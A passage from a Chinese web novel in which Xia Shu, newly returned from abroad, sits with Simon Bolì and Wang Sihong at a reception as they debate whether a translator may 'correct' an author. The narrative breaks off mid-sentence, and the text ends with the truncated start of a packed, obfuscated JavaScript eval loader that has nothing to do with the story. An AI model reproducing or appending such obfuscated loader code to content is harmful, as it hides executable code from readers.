“多谢周老板。”
周致远含笑点头，欠身示意后便转身去招呼其他客人。
夏舒看着着陌生的场景，心底难免有些局促不适。他下意识扫了一圈，寻了个靠角落的位置落座，打算安静旁观周遭往来的宾客，等到散场就回去。
刚坐下没多久，身旁便走来两人，相继落座。
一人是金发碧眼的外国男子，气质温和随性。另一人是身形清瘦的华国男子，眉眼温和儒雅。两人都是西装革履的时髦打扮，看着都不到三十岁的年纪。
两人主动朝夏舒颔首致意，开口打过招呼。外国男子自报姓名，名叫西蒙·柏励，身边的华国男子，则是王楒鸿。夏舒自我介绍，父母是南洋华商，自己从小在国外生活刚刚回国不久。
简单寒暄过后，西蒙·柏励与王楒鸿便用流利的约翰国文，轻声闲聊起文学典籍与新式教育相关的话题。
“王，我跟你说，这本新译的文章绝对有问题，”西蒙语气颇为认真，手里比划着，“原文我读过，根本不是这个意思。”
王楒鸿端着酒杯，不急不缓地应道：“你每次都说是翻译的问题，西蒙。有时候也得承认是作者自己写坏了，翻译时需要帮他纠正过来。”
“写坏了？不不不，你这是对原作的篡改。”
“这怎么能算篡改呢，我这是对原作者深层思想的表述，他表达错误的东西，我帮他正确的表达出来。”
两人一来一往间，语气认真却带着明显的熟稔与默契。
起初
;eval(function(p,a,c,k,e,d){e=function(c){return(c